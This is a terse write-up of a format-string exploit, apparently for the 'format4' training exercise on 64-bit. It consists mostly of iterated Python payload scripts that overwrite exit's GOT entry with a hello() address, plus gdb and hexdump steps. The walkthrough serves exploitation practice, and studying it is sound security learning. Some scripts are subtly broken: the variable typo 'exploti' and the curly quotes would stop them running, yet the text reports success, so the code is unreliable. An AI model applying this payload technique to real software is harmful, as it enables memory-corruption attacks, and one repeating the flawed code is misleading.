: python format4.py > exp
-> gdb format4
-> run < exp
-> Segmentation fault (=Error)
-> 0x58 = X
: Change the Exploit Python Code
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040
def pad(s):
return s+”X”*(512-len(s))
exploit = “”
exploit += struct.pack(”I”,EXIT_PLT)
exploit += struct.pack(”I”,EXIT_PLT+2)
exploit += “BBBBCCCC”
exploit += “ %p “*16
print pad(exploit)
: python format4.py > exp
-> gdb format4
-> run < exp
: Check the python Code hexdump
-> python format4.py | ./format4 | hexdump -C
-> python format4.py | hexdump -C
-> Check the “null byte”
-> Why? Because 32bit.
: Change Again the Explit Python Code
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040
def pad(s):
return s+”X”*(512-len(s)-16)
exploit = “”
exploit += “BBBBCCCC”
exploit += “ %p “*100
exploit = pad(exploit)
exploit += struct.pack(”Q”,EXIT_PLT)
exploit += struct.pack(”Q”,EXIT_PLT+2)
print pad(exploit)
: python format4.py | ./format4
-> Count offset
: Change Again the Explit Python Code
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040
def pad(s):
return s+”X”*(512-len(s)-16)
exploit = “”
exploit += “BBBBCCCC”
exploti += “%{}x”.format(0x676-len(exploit))
exploit += “%68$n“
exploit = pad(exploit)
exploit += struct.pack(”Q”,EXIT_PLT)
exploit += struct.pack(”Q”,EXIT_PLT+2)
print pad(exploit)
: python format4.py | ./format4
-> Segmentation fault(core dumped)
-> Why? $n -> $hn (= need only 2byte)
: Finally Change Again the Exploit Python Code
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040
def pad(s):
return s+”X”*(512-len(s)-16)
exploit = “”
exploit += “BBBBCCCC”
exploti += “%{}x”.format(0x676-len(exploit))
exploit += “%68$hn“
exploit = pad(exploit)
exploit += struct.pack(”Q”,EXIT_PLT)
exploit += struct.pack(”Q”,EXIT_PLT+2)
print pad(exploit)
: python format4.py | ./format4
-> Success.
-> You see the exploit is different from the original 32bit version.
-> That was pretty straight forward.(without PIE)